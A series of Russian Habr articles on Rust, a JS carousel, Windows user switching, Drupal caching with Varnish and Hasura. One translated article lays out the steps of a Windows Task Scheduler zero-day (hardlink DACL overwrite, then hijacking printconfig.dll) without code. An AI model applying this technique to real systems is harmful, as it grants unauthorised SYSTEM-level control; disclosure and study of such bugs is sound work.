Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x00400034 0x00400034 0x00080 0x00080 R 0x4
LOAD 0x000000 0x00400000 0x00400000 0x000c2 0x000c2 R 0x1000
LOAD 0x0000c2 0x004010c2 0x004010c2 0x00052 0x00052 R E 0x1000
GNU\_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0
Section to Segment mapping:
Segment Sections...
00
01 .rodata
02 .text
03
$ objdump -s ./target/i686-unknown-linux-gnu/debug/hello\_world
./target/i686-unknown-linux-gnu/debug/hello\_world: file format elf32-i386
Contents of section .rodata:
4000b4 48656c6c 6f2c2077 6f726c64 210a Hello, world!.
Contents of section .text:
4010c2 8b0c2489 e083c004 5051e825 00000055 ..$.....PQ.%...U
4010d2 b8040000 0089e553 8b5d088b 4d0c8b55 .......S.]..M..U
4010e2 10cd805b 5dc355b8 01000000 89e5538b ...[].U.......S.
4010f2 5d08cd80 5589e583 ec0c6a0e 68b40040 ]...U.....j.h..@
401102 006a01e8 c7ffffff 31c08904 24e8d4ff .j......1...$...
401112 ffff ..
```
Сишная версия толще на одну инструкцию `ud2` (занимает 2 байта) и на один нуль в конце строки. В `sys_exit` аргументы пушатся в разном порядке, а в бинарях в целом символы находятся по разным адресам, а так бинари абсолютно идентичны.
Полученный результат стал возможен благодаря автору `rustc_codegen_gcc` — Antoyo. Он ведет [блог](https://blog.antoyo.xyz/), в котором периодически репортит о прогрессе данного проекта. И прогресс действительно поражает воображение. Пользуясь моментом, я прошу вас [запатреонить](https://www.patreon.com/antoyo) Antoyo или [проспонсировать](https://github.com/sponsors/antoyo?o=esb) его на гитхабе. Он делает важное дело не только для языка Раст, но и для проекта `gcc` (улучшает `libgccjit.so`), что позволит в будущем отвязаться от `llvm` и, например, компилировать модули ядра Линукса под все доступные `gcc` платформы.
Выводы
======
> Именно это свойство — zero runtime — делает Си единственным и безальтернативным кандидатом на роль языка для реализации ядер операционных систем и прошивок для микроконтроллеров. Тем удивительнее, насколько мало людей в мире этот момент осознают; и стократ удивительнее то, что людей, понимающих это, судя по всему, вообще нет среди членов комитетов по стандартизации (языка Си)…
>
>
>
> — А. В. Столяров
Спасибо, буду знать.
Весь смысл статьи не в том, что Раст можно опустить на уровень ассемблера, а в том что он по-прежнему остается высокоуровневым языком, средства которого активно используют там, где раньше доминировал Си. Даже без стандартной библиотеки у Раста остаётся система типов, которая позволяет минимизировать количество ошибок, возникающих из-за человеческого фактора. И это одна из главных причин, по которой Раст включили в ядро [Линукса](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8aebac82933ff1a7c8eede18cab11e1115e2062b).
Вся эта история с доцентом, студентом МГУ и статьёй <https://rustmustdie.com/> показывает, что где-то внутри вуза построен странный образовательный процесс, который мешает студентам получать актуальную информацию и формировать независимое мнение.
Я бы мог пройтись практически по всем пунктам студента: толстые бинари, медленный код, сборщик мусора, что времена жизни — это хак компилятора, что заимствования слабее указателей. Но на примере опровержения одного лишь пункта про zero runtime мы видим, как просто набрасывать неправду, и как затратно её опровергать. Этой статьи не сущестовало бы, если бы к образовательному процессу подходили немного с другой стороны, без фанатизма любви к старому, без несокрушимых догм.
Я бы хотел, чтобы в МГУ (самом МГУ!) ученые и студенты были открыты к познанию. Ведь в этом и есть суть университетов, нет? Слишком многого хочу?..
Ссылки на код
=============
Весь код из примеров, как и патчи, доступен в [репозитории](https://github.com/kpp/minimal_hello_world_i386_rust_gcc) на гитхабе. Проверяйте, перепроверяйте.
Если у вас возник вопрос, а как же реализовать сложение чисел в среде без рантайма, вот [ссылка](https://github.com/kpp/toy_rt) на Linux x86\_64 проект с минимальной реализацией арифметики, адресной арифметики, базовых операций вроде взятия размера слайса, ссылки на данные толстого указателя и т.д., благодаря чему в хэлло ворлде вычисляется размер строки, а не подставляется магическое число:
```
#[no_mangle]
fn main() {
print("Hello world!\n");
}
fn print(string: &str) {
unsafe {
write(1, string.as_ptr(), string.len())
};
}
``` | https://habr.com/ru/post/598219/ | null | ru | null |
# Карусель на Vanilla.JS. Часть 2
Доброго времени суток. Сегодня мы добавим следующие возможности в наш слайдер:
* Зацикленность карусели;
* Автоматическое переключение слайдов;
* Тач-события;
* События мыши.
Первая часть находиться [здесь](https://habrahabr.ru/post/327246/). Разметка карусели и её стили оставим прежними. А вот JS перепишем.
Начнём с создания возобновляймого таймера:
```
function Timer(callback, delay) {
/* Private properties */
let timerId, start, remaining = delay;
/* Public methods */
this.resume = () => {
start = new Date();
timerId = setTimeout(() => {
remaining = delay;
this.resume();
callback();
}, remaining);
};
this.pause = () => {
clearTimeout(timerId);
remaining -= new Date() - start;
};
this.become = () => {
clearTimeout(timerId);
remaining = delay;
this.resume();
};
/* Constructor */
this.resume();
}
```
Теперь напишем функцию-конструктор карусели, её приватные свойства и методы:
```
function Carousel(setting) {
/* Scope private methods and properties */
let private = {},
xDown, yDown, xUp, yUp, xDiff, yDiff;
/* Private properties */
private.default = {
"touch": true,
"autoplay": false,
"autoplayDelay": 3000,
"pauseOnFocus": true,
"pauseOnHover": true
};
private.setting = Object.assign(private.default, setting);
private.isAnimationEnd = true;
private.sel = {
"wrap": document.querySelector(private.setting.wrap),
"children": document.querySelector(private.setting.wrap).children,
"prev": document.querySelector(private.setting.prev),
"next": document.querySelector(private.setting.next)
};
private.opt = {
"position": 0,
"max_position": document.querySelector(private.setting.wrap).children.length
};
/* Constructor */
// Clone first elem to end wrap
private.sel.wrap.appendChild(private.sel.children[0].cloneNode(true));
// Autoplay
if(private.setting.autoplay === true) {
private.timer = new Timer(this.next_slide, private.setting.autoplayDelay);
}
// Control
if(private.sel.prev !== null) {
private.sel.prev.addEventListener('click', () => {
this.prev_slide();
});
}
if(private.sel.next !== null) {
private.sel.next.addEventListener('click', () => {
this.next_slide();
});
}
// Touch events
if(private.setting.touch === true) {
private.sel.wrap.addEventListener('touchstart', private.hts, false);
private.sel.wrap.addEventListener('touchmove', private.htm, false);
}
// Pause on hover
if(private.setting.autoplay === true && private.setting.pauseOnHover === true) {
private.sel.wrap.addEventListener('mouseenter', () => {
private.timer.pause();
});
private.sel.wrap.addEventListener('mouseleave', () => {
private.timer.become();
});
}
private.hts = (e) => {
xDown = e.touches[0].clientX;
yDown = e.touches[0].clientY;
};
private.htm = (e) => {
if ( ! xDown || ! yDown ) {
return;
}
xUp = e.touches[0].clientX;
yUp = e.touches[0].clientY;
xDiff = xDown - xUp;
yDiff = yDown - yUp;
if ( Math.abs( xDiff ) > Math.abs( yDiff ) ) {
if ( xDiff > 0 ) {
this.next_slide();
} else {
this.prev_slide();
}
}
xDown = 0;
yDown = 0;
};
}
```
Методы hts и htm нужны для обработки тач-событий. Hts будет вызываться при touchStart. Htm при event touchMove и в зависимости от направления mov'а вызывать метод предыдущего или последующего слайда.
Теперь напишем публичные методы:
```
// Prev slide
this.prev_slide = () => {
if(!private.isAnimationEnd) {
return;
}
private.isAnimationEnd = false;
--private.opt.position;
if(private.opt.position < 0) {
private.sel.wrap.classList.add('s-notransition');
private.sel.wrap.style["transform"] = `translateX(-${private.opt.max_position}00%)`;
private.opt.position = private.opt.max_position - 1;
}
setTimeout(() => {
private.sel.wrap.classList.remove('s-notransition');
private.sel.wrap.style["transform"] = `translateX(-${private.opt.position}00%)`;
}, 10);
private.sel.wrap.addEventListener('transitionend', () => {
private.isAnimationEnd = true;
});
if(private.setting.autoplay === true) {
private.timer.become();
}
};
// Next slide
this.next_slide = () => {
if(!private.isAnimationEnd) {
return;
}
private.isAnimationEnd = false;
if(private.opt.position < private.opt.max_position) {
++private.opt.position;
}
private.sel.wrap.classList.remove('s-notransition');
private.sel.wrap.style["transform"] = `translateX(-${private.opt.position}00%)`;
private.sel.wrap.addEventListener('transitionend', () => {
if(private.opt.position >= private.opt.max_position) {
private.sel.wrap.style["transform"] = 'translateX(0)';
private.sel.wrap.classList.add('s-notransition');
private.opt.position = 0;
}
private.isAnimationEnd = true;
});
if(private.setting.autoplay === true) {
private.timer.become();
}
};
```
Демо:
Это все! Меньше сторонних либ => меньший трафик для пользователя => скорейшая загрузка страницы. | https://habr.com/ru/post/327690/ | null | ru | null |
# Очень быстрое переключение пользователей Windows
Хочу поделиться с вами лайфхаком, которым пользуюсь ежедневно уже на протяжении нескольких лет. Работает безупречно, сберегает время. Так повелось, что у нас с женой разные учетные записи на одном домашнем компьютере. Это удобно: у каждого свой рабочий стол, свои обои, предпочтения, настройки приложений, кукисы в браузере. Я даже не представляю сейчас, как можно работать под одной учеткой. Но (без этого “но” не было бы и статьи), есть одна маленькая проблема. Переключение пользователей. Как это делается обычно: Пуск –> некая кнопочка, в зависимости от системы -> сменить пользователя. Появляется экран выбора пользователя. Тыкаем в нужного пользователя. Да, есть сочетание клавиш Win+L. После которого опять надо ткнуть смену пользователя и иконку. Итого минимум 3 действия. В Windows 8 сделали заметное улучшение в этом плане. нажимаем Win + иконку пользователя и в списке кликаем на другого. Но это без учета, что на учетке есть пароль. Вот тут-то уже начинаются существенные задержки. Вводить пароль каждый раз при каждом переключении надоест очень быстро. А пароль на свою учетку мне пришлось поставить, так как нужен был удаленный доступ. Да, можно было для удаленного доступа сделать другую учетку, но мой лайфхак уже был готов к тому моменту, и прекрасно работал вне зависимости от того, есть пароли на учетках или нет.
А идея была такая. Сделать так, чтобы быстрое переключение пользователей происходило за одно действие. По нажатию одного хоткея. Поиск в интернете (напомню, было это года 3 назад) принес свои плоды, и подобные решения были найдены. Но, бесплатные либо глючили, либо требовали установки какого-то стороннего софта. А платная, качественная, нашлась одна, и работала одна очень хорошо, но, во-первых, была платной, во-вторых, содержала лишний функционал – по нажатию хоткея не сразу переключался пользователь, а отображалось окошко (по подобию Alt+Tab) с пользователями. Было решено написать свое решение. Самое простое, с минимумом функционала: хоткей – переключение.
Гугление выдало: * Для переключения сессий используйте функции wtsapi32.dll: [WTSEnumerateSessions](http://msdn.microsoft.com/en-us/library/windows/desktop/aa383833(v=vs.85).aspx), [WTSConnectSession](http://msdn.microsoft.com/en-us/library/windows/desktop/bb394782(v=vs.85).aspx), [WTSDisconnectSession](http://msdn.microsoft.com/en-us/library/windows/desktop/aa383830(v=vs.85).aspx) (Сейчас, когда смотрю описание этих функций, оно говорит что работает с удаленными рабочими сессиями, и честно-говоря, я в небольшом недоумении, но у меня работает локально, безупречно).
* Для хоткеев, используйте функции user32.dll: [RegisterHotKey](http://msdn.microsoft.com/en-us/library/windows/desktop/ms646309(v=vs.85).aspx), [UnregisterHotKey](http://msdn.microsoft.com/en-us/library/windows/desktop/ms646327(v=vs.85).aspx). Тут все просто.
Сразу оговорюсь, и можете кидать в меня помидорами, но писал я это дело на c#, хотя на плюсах, было бы конечно лучше, нативнее и проч, проч, проч… Но, тогда я только начал осваивать c# и нужен был опыт, а когда решение было написано, переписывать его не было необходимости, хотя перенос его не займет больше одного вечера.
Итак, для начала было написано простое win32 приложение с кнопочкой, по нажатию которой выполнялся примерно такой код:
```
private void SwitchUser()
{
IntPtr buffer = IntPtr.Zero;
int count = 0;
// получаем список сессий, в которых выполнен вход
if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, ref buffer, ref count))
{
WTS_SESSION_INFO[] sessionInfo = new WTS_SESSION_INFO[count];
// самая сложная часть:
// аккуратно преобразовать неуправляемую память в управляемую
for (int index = 0; index < count; index++)
sessionInfo[index] = (WTS_SESSION_INFO)Marshal.PtrToStructure((IntPtr)((int)buffer +
(Marshal.SizeOf(new WTS_SESSION_INFO()) * index)), typeof(WTS_SESSION_INFO));
int activeSessId = -1;
int targetSessId = -1;
// получаем Id активного, и неактивного сеанса
// 0 пропускаем, там всегда "Services"
for (int i = 1; i < count; i++)
{
if (sessionInfo[i].State == WTS_CONNECTSTATE_CLASS.WTSDisconnected)
targetSessId = sessionInfo[i].SessionId;
else if (sessionInfo[i].State == WTS_CONNECTSTATE_CLASS.WTSActive)
activeSessId = sessionInfo[i].SessionId;
}
if ((activeSessId > 0) && (targetSessId > 0))
{
// если есть неактивный сеанс, то переключаемся на него.
WTSConnectSession(Convert.ToUInt64(targetSessId), Convert.ToUInt64(activeSessId), "", false);
}
else
{
// если неактивных нет. просто отключаемся (переходим на экран выбора пользователя)
WTSDisconnectSession(WTS_CURRENT_SERVER_HANDLE, activeSessId, false);
}
}
// обязательно чистим память
WTSFreeMemory(buffer);
}
```
При двух сеансах sessionInfo будет иметь 3 элемента: сеанс служб, сеанс 1-го пользователя, сеанс 2-го пользователя. Соответственно targetSessId и activeSessId определятся однозначно. При сеансах более 2, переключение будет происходить между активным и последним неактивным.
Но тут меня постигла небольшая неудача. Некоторые уже могли догадаться, что так дело не пойдет. В момент выполнения WTSConnectSession из приложения, отключение активного пользователя происходит, а вот включение второго пользователя – нет. Т.е. проще говоря, приложение одного пользователя не может инициировать вход другого пользователя. Но это может сделать служба! Да, очень жаль, но без системной службы у нас ничего не получится. Хорошо, создадим системную службу в которую закинем этот код. Вот тут-то и пригодится C# и .Net, так как написать службу на этих технологиях [очень](http://msdn.microsoft.com/ru-ru/library/zt39148a.aspx) и [очень просто](http://habrahabr.ru/post/102826/). Теперь возникает следующая проблема: служба не имеет пользовательского интерфейса, т.е. пользователь не может напрямую повлиять на работу службы, а служба не может услышать действия пользователя. Навесить хоткей на службу нельзя.
Итак, вот наше решение:
Пользовательское приложение слушает пользователя, и при обнаружении хоткея, посылает сигнал системной службе, которая и выполняет переключение.
Осталось совсем немного, но и тут мне найдется что вам показать. Например то, что нам нужно десктопное приложение, без окон, но чтобы оно принимало хоткеи. Это можно сделать так, как делают все: Скрыть главное окно приложения и не показывать. Но есть решение лучше. Написать свой [ApplicationContext](http://msdn.microsoft.com/en-us/library/ms157901.aspx). ~~С блэк~~
Например такой:
```
internal class SUApplicationContext: ApplicationContext
{
private Hotkey hk;
private Form form;
private const int SWITCH_USER_COMMAND = 193;
internal SUApplicationContext()
{
// только создаем форму, она все равно нужна
// чтобы слушать хоткеи
form = new Form();
// создаем глобальный хоткей Win+A
hk = new Hotkey(Keys.A, false, false, false, true);
// делегируем обработчик события
hk.Pressed += delegate { SendSwitchCommand(); };
// регистрируем хоткей, если можем
if (hk.GetCanRegister(form))
hk.Register(form);
// Вешаем событие на выход
Application.ApplicationExit += Application_ApplicationExit;
}
private void SendSwitchCommand()
{
// Описываем нашу службу
ServiceController sc = new ServiceController("Sus");
try
{
// посылаем ей команду
sc.ExecuteCommand(SWITCH_USER_COMMAND);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
void Application_ApplicationExit(object sender, EventArgs e)
{
// при выходе разрегистрируем хоткей
if (hk.Registered)
hk.Unregister();
}
}
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new SUApplicationContext());
}
```
Здесь я использую найденный на просторах интернета интерфейс [MovablePython.Hotkey](http://bloggablea.wordpress.com/2007/05/01/global-hotkeys-with-net/) над user32.dll функциями RegisterHotKey, UnregisterHotKey.
И пару строк о самой службе.
```
protected override void OnCustomCommand(int command)
{
base.OnCustomCommand(command);
if (command == SWITCH_USER_COMMAND)
{
SwitchUser();
}
}
```
Переопределяем событие OnCustomCommand, и при получении нашей команды, выполняем уже известную нам функцию.
Осталось зарегистрировать и запустить службу, и поставить в автозагрузку каждому пользователю приложение.
Все. Теперь после того, как вошел первый пользователь после запуска компьютера и нажал Win+A, его сеанс отключается, и появляется окно выбора пользователя. Входит второй пользователь, нажимает Win+A – появляется сеанс первого пользователя. И т. д.
На github вы можете ознакомиться с [исходниками](https://github.com/indomit/vfsus). Либо можете [скачать](https://www.dropbox.com/s/zyavskj9a61uu4j/su_service.7z) весь проект и скомпилированные и готовые к работе исполняемые файлы. | https://habr.com/ru/post/178105/ | null | ru | null |
# Ускоряем Drupal: Pressflow + Nginx + Varnish
Данная статья достаточно подробно показывает, как можно перейти на разработку сайтов Друпал с серьезной стрессоустойчивостью и возможностью обрабатывать большой трафик.
Это мой первый опыт подобной настройки, но как будет далее видно из статистики достаточно удачно справляющийся со своей основной задачей — ускорением работы сайта. Интересно будет услышать и увидеть настройки, дополнительные материалы от всех кто сталкивался с подобными задачами, так как в рунете пока еще мало свободной и качественной информации по этой теме относительно системы Друпал.
Довольно долго для разработки я использовал связку Drupal + Nginx с настройками сервера по умолчанию:
`server {
listen 62.xxx.xx.xx:80;
server_name mysite.com www.mysite.com;
rewrite>^(/manager/.*)$>https://$host$1>permanent;
location ~* ^/(webstat/|awstats|webmail/|myadmin/|manimg/) {
proxy_pass 62.xxx.xx.xx:8080;
proxy_redirect mysite.com:8080/ /;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
location / {
proxy_pass mysite.com:8080;
proxy_redirect mysite.com:8080/ /;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar)$ {
root /home/pathto/drupal613;
access_log /home/httpd-logs/mysite.com.access.log;
error_page 404 = @fallback;
}
location @fallback {
proxy_pass 62.xxx.xx.xx:8080;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
}`
Суть этих настроек проста — разгрузить апач и оставить на нем только php процессы, а всю статику(картинки, файлы) перекидывать на Nginx. Апач у меня настроен на 8080 порт, а Nginx на 80. Nginx на фронтенде анализируют, что запрашивает и выкидывает статические данные сам или же перекидывает все на апач. Данный подход разгружает сервер и немного повышает производительность.
Для анализа сайта на Друпал, я использовал отличный сервис **LoadImpact.com**, который выкинул мне вот такой отчет:

Недолго нужно анализировать, чтобы понять, чем больше трафик на сайте, тем больше приходится ждать ответа от сервера. Это плохо. Решение я нашел в следующей связке:
#### Pressflow + Nginx + Varnish
##### Pressflow это дистрибутив Drupal с интегрированными усовершенствованиями производительности, расширяемости, эффективности, и тестирования.
> Кажая версия Pressflow является API эквивалентом тойже версии Drupal. Например, Pressflow 6 совместим со всеми Drupal 6 модулями. Pressflow 6 также имеет интегрированную SimpleTest систему из Drupal 7 и патч для поддержки CDN.
>
>
Вот ссылки для скачки Pressflow:
[fourkitchens.com/pressflow-makes-drupal-scale/downloads](http://fourkitchens.com/pressflow-makes-drupal-scale/downloads)
[launchpad.net/pressflow/+download](https://launchpad.net/pressflow/+download)
##### Varnish это ключевое ПО для ускорения Вашего сайта.
> Varnish — это Open Source ПО, стандартизированное и требующее незначительных ресурсов.
Ссылка для скачивания Varnish:
[www.varnish-cache.org/releases](http://www.varnish-cache.org/releases)
Идея этой связки не многим сложнее: на запрос к серверу выкидываем статику через Nginx, иначе идем за кешироваными данными к Varnish+Pressflow, и к апачу если нам нужно что-то от PHP.
###### Шаг 1: Устанавливаем Pressflow
Установка Pressflow вообщем-то ничем не отличается от установки Drupal :)
[fourkitchens.com/pressflow-makes-drupal-scale/installation](http://fourkitchens.com/pressflow-makes-drupal-scale/installation)
###### Шаг 2: Настраиваем Pressflow
Перейдите на [mysite.com/admin/settings/performance](http://mysite.com/admin/settings/performance) и включите кеширование. Вот собственно и все.
###### Шаг 3: Установка Varnish
Если Вы далеки от понятий SSH и Linux, попробуйте создать запрос к своим хостерам на инсталяцию Varnish. Я использовал этот мануал под FreeBSD [www.varnish-cache.org/installation/freebsd](http://www.varnish-cache.org/installation/freebsd). Все достаточно просто.
###### Шаг 4: Настраиваем Varnish
Это один из самых сложных пунктов по настройке всей системы:
1. Добавляем запуск varnish deamon и varnish log в конфигурационный файл /etc/rc.conf:
varnishd\_enable=«YES»
varnishlog\_enable=«YES»
2. Меняем дефолтные настройки под себя varnish deamon:
`${varnishd_enable:="NO"}
${varnishd_pidfile:="/var/run/${name}.pid"}
${varnishd_listen:=":8081"}
${varnishd_admin:="localhost:8090"}
${varnishd_backend:="localhost:8080"}
${varnishd_config:="/usr/local/etc/varnish/default.vcl"}
${varnishd_storage:="file,/usr/local/varnish.cache,1G"}
${varnishd_hash:="classic,16383"}
${varnishd_user:="www"}
${varnishd_group:="www"}`
Как уже упоминалось ранее, на моем сервере Nginx слушает 80 порт, а Apache 8080. Varnish же поставим на прослушку порта 8081, а перекидывать с него опять же будем на апач, тоесть 8080 порт.
Тут:
-varnishd\_config — путь к дефолтному файлу настроек поведения Varnish
-varnishd\_storage — размер и путь к файлу кеша
3. Настраиваем Varnish на работу с Pressflow:
`backend default {
.host = "127.0.0.1";
.port = "8080";
.connect_timeout = 600s;
.first_byte_timeout = 600s;
.between_bytes_timeout = 600s;
}
sub vcl_recv {
if (req.request != "GET" &&
req.request != "HEAD" &&
req.request != "PUT" &&
req.request != "POST" &&
req.request != "TRACE" &&
req.request != "OPTIONS" &&
req.request != "DELETE") {
/* Non-RFC2616 or CONNECT which is weird. */
return (pipe);
}
if (req.request != "GET" && req.request != "HEAD") {
/* We only deal with GET and HEAD by default */
return (pass);
}
// Remove has_js and Google Analytics cookies.
set req.http.Cookie = regsuball(req.http.Cookie, "(^|;\s*)(__[a-z]+)=[^;]*", "");
// To users: if you have additional cookies being set by your system (e.g.
// from a javascript analytics file or similar) you will need to add VCL
// at this point to strip these cookies from the req object, otherwise
// Varnish will not cache the response. This is safe for cookies that your
// backed (Drupal) doesn't process.
//
// Again, the common example is an analytics or other Javascript add-on.
// You should do this here, before the other cookie stuff, or by adding
// to the regular-expression above.
// Remove a ";" prefix, if present.
set req.http.Cookie = regsub(req.http.Cookie, "^;\s*", "");
// Remove empty cookies.
if (req.http.Cookie ~ "^\s*$") {
unset req.http.Cookie;
}
if (req.http.Authorization || req.http.Cookie) {
/* Not cacheable by default */
return (pass);
}
// Skip the Varnish cache for install, update, and cron
if (req.url ~ "install\.php|update\.php|cron\.php") {
return (pass);
}
// Normalize the Accept-Encoding header
// as per: varnish-cache.org/wiki/FAQ/Compression
if (req.http.Accept-Encoding) {
if (req.url ~ "\.(jpg|png|gif|gz|tgz|bz2|tbz|mp3|ogg)$") {
# No point in compressing these
remove req.http.Accept-Encoding;
}
elsif (req.http.Accept-Encoding ~ "gzip") {
set req.http.Accept-Encoding = "gzip";
}
else {
# Unknown or deflate algorithm
remove req.http.Accept-Encoding;
}
}
// Let's have a little grace
set req.grace = 30s;
return (lookup);
}
sub vcl_hash {
if (req.http.Cookie) {
set req.hash += req.http.Cookie;
}
}
// Strip any cookies before an image/js/css is inserted into cache.
sub vcl_fetch {
if (req.url ~ "\.(png|gif|jpg|swf|css|js)$") {
// This is for Varnish 2.0; replace obj with beresp if you're running
// Varnish 2.1 or later.
unset beresp.http.set-cookie;
}
}
sub vcl_error {
// Let's deliver a friendlier error page.
// You can customize this as you wish.
set obj.http.Content-Type = "text/html; charset=utf-8";
synthetic {"
xml version="1.0" encoding="utf-8"?
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
"} obj.status " " obj.response {"
<стиль type="text/css">
#page {width: 400px; padding: 10px; margin: 20px auto; border: 1px solid black; background-color: #FFF;}
p {margin-left:20px;}
body {background-color: #DDD; margin: auto;}
<х1>Page Could Not Be Loaded
We're very sorry, but the page could not be loaded properly. This should be fixed very soon, and we apologize for any inconvenience.
<хр /> <х4>Debug Info:
<пре>
Status: "} obj.status {"
Response: "} obj.response {"
XID: "} req.xid {"
<адресс><ссылка href="http://www.varnish-cache.org/">Varnish
"};
return (deliver);
}`
3. Настраиваем Ngnix на работу с Varnish:
`server {
listen 62.xxx.xx.xx:80;
server_name mysite.com www.mysite.com;
rewrite ^(/manager/.*)$>https://$host$1>permanent;
rewrite>^(/manager/.*)$>https://$host$1>permanent;
location ~* ^/(webstat/|awstats|webmail/|myadmin/|manimg/) {
proxy_pass 62.xxx.xx.xx:8080;
proxy_redirect mysite.com:8080/ /;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
location / {
proxy_pass 62.xxx.xx.xx:8081;
proxy_redirect mysite.com:8081/ /;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar)$ {
root /home/cross/data/www/mysite.com;
access_log /home/httpd-logs/mysite.com.access.log;
error_page 404 = @fallback;
}
location @fallback {
proxy_pass 62.xxx.xx.xx:8080;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
}`
Step 5: Перегружаем сервер
Теперь нужно убедиться, что Varnish запущен — попробуйте запустить комманду 'top' на терминале и проверьте, что процесс varnish запущен.
Убедитесь, что Varnish + Pressflow работают — запустите varnishlog комманду под SSH и попробуйте открыть свой сайт [mysite.com](http://mysite.com/), varnishlog после этого должен будет показать HTTP заголовки, это будет означать, что все работает отлично.
После всех этих настроек, я еще раз loadimpact`ом прогнал тест и получил:

Теперь ситуация значительно лучше, задержка от сервера стабильна и при повышении трафика не валит сервер.
Вот такие нехитрые настройки запустят Pressflow + Nginx + Varnish на Вашем сервер для ускорения Drupal.
Также походу дела обнаружилось, что у Nginx есть специальные настройки под Друпал — [wiki.nginx.org/Drupal](http://wiki.nginx.org/Drupal).
Дополнительные ссылки:
* [www.varnish-cache.org/docs/2.1](http://www.varnish-cache.org/docs/2.1/) — Varnish документация
* [wiki.fourkitchens.com/display/PF/Documentation](https://wiki.fourkitchens.com/display/PF/Documentation) — Pressflow документация | https://habr.com/ru/post/107094/ | null | ru | null |
# SandboxEscaper/PoC-LPE: что внутри?
> Here is the alpc bug as 0day: <https://t.co/m1T3wDSvPX> I don't fucking care about life anymore. Neither do I ever again want to submit to MSFT anyway. Fuck all of this shit.
>
> — SandboxEscaper (@SandboxEscaper) [August 27, 2018](https://twitter.com/SandboxEscaper/status/1034125195148255235?ref_src=twsrc%5Etfw)
На хабре уже есть [новость об этой уязвимости](https://habr.com/post/421577/), но, к сожалению, без технических деталей. Предлагаю заглянуть внутрь опубликованного [архива](https://github.com/SandboxEscaper/randomrepo/blob/master/PoC-LPE.rar) (автор — [SandboxEscaper](http://sandboxescaper.blogspot.com/p/about-me.html)).
Под катом расположен перевод документа-описания, находящегося в архиве.
Описание уязвимости
-------------------
Служба Task Scheduler (планировщик задач) имеет RPC-интерфейс (доступный через транспорт ALPC), поддерживающий метод SchRpcSetSecurity.
Так выглядит прототип этого метода:
```
long _SchRpcSetSecurity(
[in][string] wchar_t* arg_1, //Task name
[in][string] wchar_t* arg_2, //Security Descriptor string
[in]long arg_3);
```
Задачи, созданные планировщиком задач, создают соответствующую директорию/файл в c:\windows\system32\tasks. Вероятно, этот метод предназначен для записи DACL'а задач, расположенных там. Но запись будет происходить происходит после имперсонации. Однако, по некоторым причинам, реализация метода так же проверяет наличие .job-файла в c:\windows\tasks и записывает ему DACL **без имперсонации**. Поскольку пользователь (даже пользователь в группе гостей) может создавать в этой директории файлы, мы просто можем создать hardlink на любой другой файл, доступный нам на чтение. Используя такой hardlink, мы можем заставить службу планировщика (исполняющейся с правами SYSTEM) записать произвольный DACL (смотри второй параметр SchRpcSetSecurity) в файл по нашему выбору.
Таким образом: у любого файла, доступного на чтение, можно сменить DACL, что позволяет полностью его перезаписать.
Эксплуатация уязвимости
-----------------------
Эта уязвимость дает нам действительно сильный примитив! Основная проблема заключается в том, что после установки (по умолчанию) многие важные файлы могут быть модифицированы только пользователем TrustedInstaller (но не пользователем SYSTEM).
В архиве присутствует powershell-скрипт для перечисления файлов, которые вы можете контролировать. Просто запустите:
`./enumerate.ps1 >output.txt`
В системе есть много целей. Вы можете контролировать файлы Program Files и, если ваш целевой файл используется администратором/другим пользователем, перезаписанные вами файлы могу быть запущены с требуемыми привилегиями.
Вторая проблема заключается в том, что хотя мы можем получить контроль над множеством файлов, запись в них часто невозможна, поскольку эти DLL уже куда-то загружены на исполнение. Попытка записи DACL для загруженного на исполнение файла вызовет ошибку разделяемого доступа. Но уязвимость можно использовать и для других типов файлов, которые могут быть лучшей целью, чем DLL.
Для эксплуатации выбран файл C:\Windows\System32\DriverStore\FileRepository\prnms003.inf\_amd64\_4592475aca2acf83\Amd64\printconfig.dll (имя директории может различаться, это учтено в PoC). Похоже этот файл относится в принтеру XPS и не загружен в службу печати по умолчанию (может так получиться, что файл уже будет загружен… но чаще всего это не так).
А когда мы запустим задание на печать с использованием XPS-принтера, сервис загрузит эту DLL, которую мы можем предварительно переписать. Такой вектор атаки (hijacking) может быть легко применен для чего-то получше. Я могу попытаться найти лучшие варианты… просто дайте мне знать.
*Замечание*: На старом ноутбуке, где Windows 10 работает уже несколько лет, есть две директории prnms003.inf\_amd64\_\*. Новая версия не удаляет старую, а значит нет гарантии, что FindFirstFile (используемый в PoC) найдет актуальную директорию. Поэтому вы можете расширить код, перезаписав все найденные printconfig.dll или проверить атрибут последней записи в файл и выбрать более новый.
Демо
----
В архиве так же можно обнаружить видео с демонстрацией:
**Скрытый текст**
 | https://habr.com/ru/post/421593/ | null | ru | null |
# Hasura. Архитектура высокопроизводительного GraphQL to SQL сервера
Привет, Хабр! Представляю вашему вниманию перевод статьи [«Architecture of a high performance GraphQL to SQL engine»](https://blog.hasura.io/architecture-of-a-high-performance-graphql-to-sql-server-58d9944b8a87).
Это перевод статьи про то, как устроен изнутри и какие оптимизации и архитектурные решения несет в себе Hasura — высокопроизводительный легковесный GraphQL сервер, выступающий прослойкой между вашим веб-приложением и базой данных PostgreSQL.
